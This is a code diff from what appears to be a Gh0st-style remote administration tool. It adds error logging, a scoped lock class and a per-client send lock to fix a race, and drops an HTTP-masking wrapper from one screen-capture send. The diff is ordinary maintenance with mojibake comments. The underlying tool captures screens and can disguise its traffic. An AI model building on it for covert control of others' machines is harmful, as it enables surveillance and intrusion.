@@ -373,6 +373,7 @@ bool IOCPClient::ProcessRecvData(CBuffer *m_CompressedBuffer, char *szBuffer, in
|
|||||||
int iReceivedLength = ReceiveData(szBuffer, len, flag);
|
int iReceivedLength = ReceiveData(szBuffer, len, flag);
|
||||||
if (iReceivedLength <= 0) {
|
if (iReceivedLength <= 0) {
|
||||||
int a = WSAGetLastError();
|
int a = WSAGetLastError();
|
||||||
|
Mprintf("[recv] return %d, GetLastError= %d. \n", iReceivedLength, a);
|
||||||
Disconnect(); //<2F><><EFBFBD>մ<EFBFBD><D5B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
Disconnect(); //<2F><><EFBFBD>մ<EFBFBD><D5B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
m_CompressedBuffer->ClearBuffer();
|
m_CompressedBuffer->ClearBuffer();
|
||||||
if (m_exit_while_disconnect)
|
if (m_exit_while_disconnect)
|
||||||
|
|||||||
@@ -262,7 +262,7 @@ VOID CScreenManager::SendBitMapInfo()
|
|||||||
//<2F><><EFBFBD>ォbmpλͼ<CEBB>ṹ<EFBFBD><E1B9B9><EFBFBD>ͳ<EFBFBD>ȥ
|
//<2F><><EFBFBD>ォbmpλͼ<CEBB>ṹ<EFBFBD><E1B9B9><EFBFBD>ͳ<EFBFBD>ȥ
|
||||||
memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1);
|
memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1);
|
||||||
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||||
m_ClientObject->Send2Server((char*)szBuffer, ulLength, &mask);
|
m_ClientObject->Send2Server((char*)szBuffer, ulLength, 0);
|
||||||
VirtualFree(szBuffer, 0, MEM_RELEASE);
|
VirtualFree(szBuffer, 0, MEM_RELEASE);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -87,6 +87,23 @@ public:
|
|||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
|
class CAutoCLock
|
||||||
|
{
|
||||||
|
private:
|
||||||
|
CLock& m_cs;
|
||||||
|
|
||||||
|
public:
|
||||||
|
CAutoCLock(CLock& cs) : m_cs(cs)
|
||||||
|
{
|
||||||
|
m_cs.Lock();
|
||||||
|
}
|
||||||
|
|
||||||
|
~CAutoCLock()
|
||||||
|
{
|
||||||
|
m_cs.Unlock();
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
// 智能计时器,计算函数的耗时
|
// 智能计时器,计算函数的耗时
|
||||||
class auto_tick
|
class auto_tick
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -593,6 +593,7 @@ BOOL IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
|
|||||||
|
|
||||||
BOOL IOCPServer::OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompletedLength)
|
BOOL IOCPServer::OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompletedLength)
|
||||||
{
|
{
|
||||||
|
CAutoCLock L(ContextObject->SendLock);
|
||||||
try {
|
try {
|
||||||
DWORD ulFlags = MSG_PARTIAL;
|
DWORD ulFlags = MSG_PARTIAL;
|
||||||
|
|
||||||
@@ -609,10 +610,12 @@ BOOL IOCPServer::OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompl
|
|||||||
NULL, ulFlags,&OverlappedPlus->m_ol, NULL);
|
NULL, ulFlags,&OverlappedPlus->m_ol, NULL);
|
||||||
if ( iOk == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING ) {
|
if ( iOk == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING ) {
|
||||||
int a = GetLastError();
|
int a = GetLastError();
|
||||||
Mprintf("!!! OnClientPostSending Ͷ<><CDB6><EFBFBD><EFBFBD>Ϣʧ<CFA2><CAA7>\n");
|
Mprintf("!!! OnClientPostSending Ͷ<><CDB6><EFBFBD><EFBFBD>Ϣʧ<CFA2><CAA7>: %d\n", a);
|
||||||
RemoveStaleContext(ContextObject);
|
RemoveStaleContext(ContextObject);
|
||||||
SAFE_DELETE(OverlappedPlus);
|
SAFE_DELETE(OverlappedPlus);
|
||||||
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
return TRUE;
|
||||||
}
|
}
|
||||||
} catch(...) {
|
} catch(...) {
|
||||||
Mprintf("[ERROR] OnClientPostSending catch an error \n");
|
Mprintf("[ERROR] OnClientPostSending catch an error \n");
|
||||||
|
|||||||
@@ -374,6 +374,7 @@ public:
|
|||||||
Server* server; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
Server* server; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
ikcpcb* kcp = nullptr; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>KCP<43>Ự
|
ikcpcb* kcp = nullptr; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>KCP<43>Ự
|
||||||
std::string GroupName; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
std::string GroupName; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
CLock SendLock; // fix #214
|
||||||
|
|
||||||
std::string GetProtocol() const override
|
std::string GetProtocol() const override
|
||||||
{
|
{
|
||||||
@@ -411,8 +412,10 @@ public:
|
|||||||
}
|
}
|
||||||
BOOL Send2Client(PBYTE szBuffer, ULONG ulOriginalLength) override
|
BOOL Send2Client(PBYTE szBuffer, ULONG ulOriginalLength) override
|
||||||
{
|
{
|
||||||
if (server)
|
if (server) {
|
||||||
|
CAutoCLock L(SendLock);
|
||||||
return server->Send2Client(this, szBuffer, ulOriginalLength);
|
return server->Send2Client(this, szBuffer, ulOriginalLength);
|
||||||
|
}
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
VOID SetClientInfo(const CString(&s)[ONLINELIST_MAX], const std::vector<std::string>& a = {})
|
VOID SetClientInfo(const CString(&s)[ONLINELIST_MAX], const std::vector<std::string>& a = {})
|
||||||
|
|||||||
Reference in New Issue
Block a user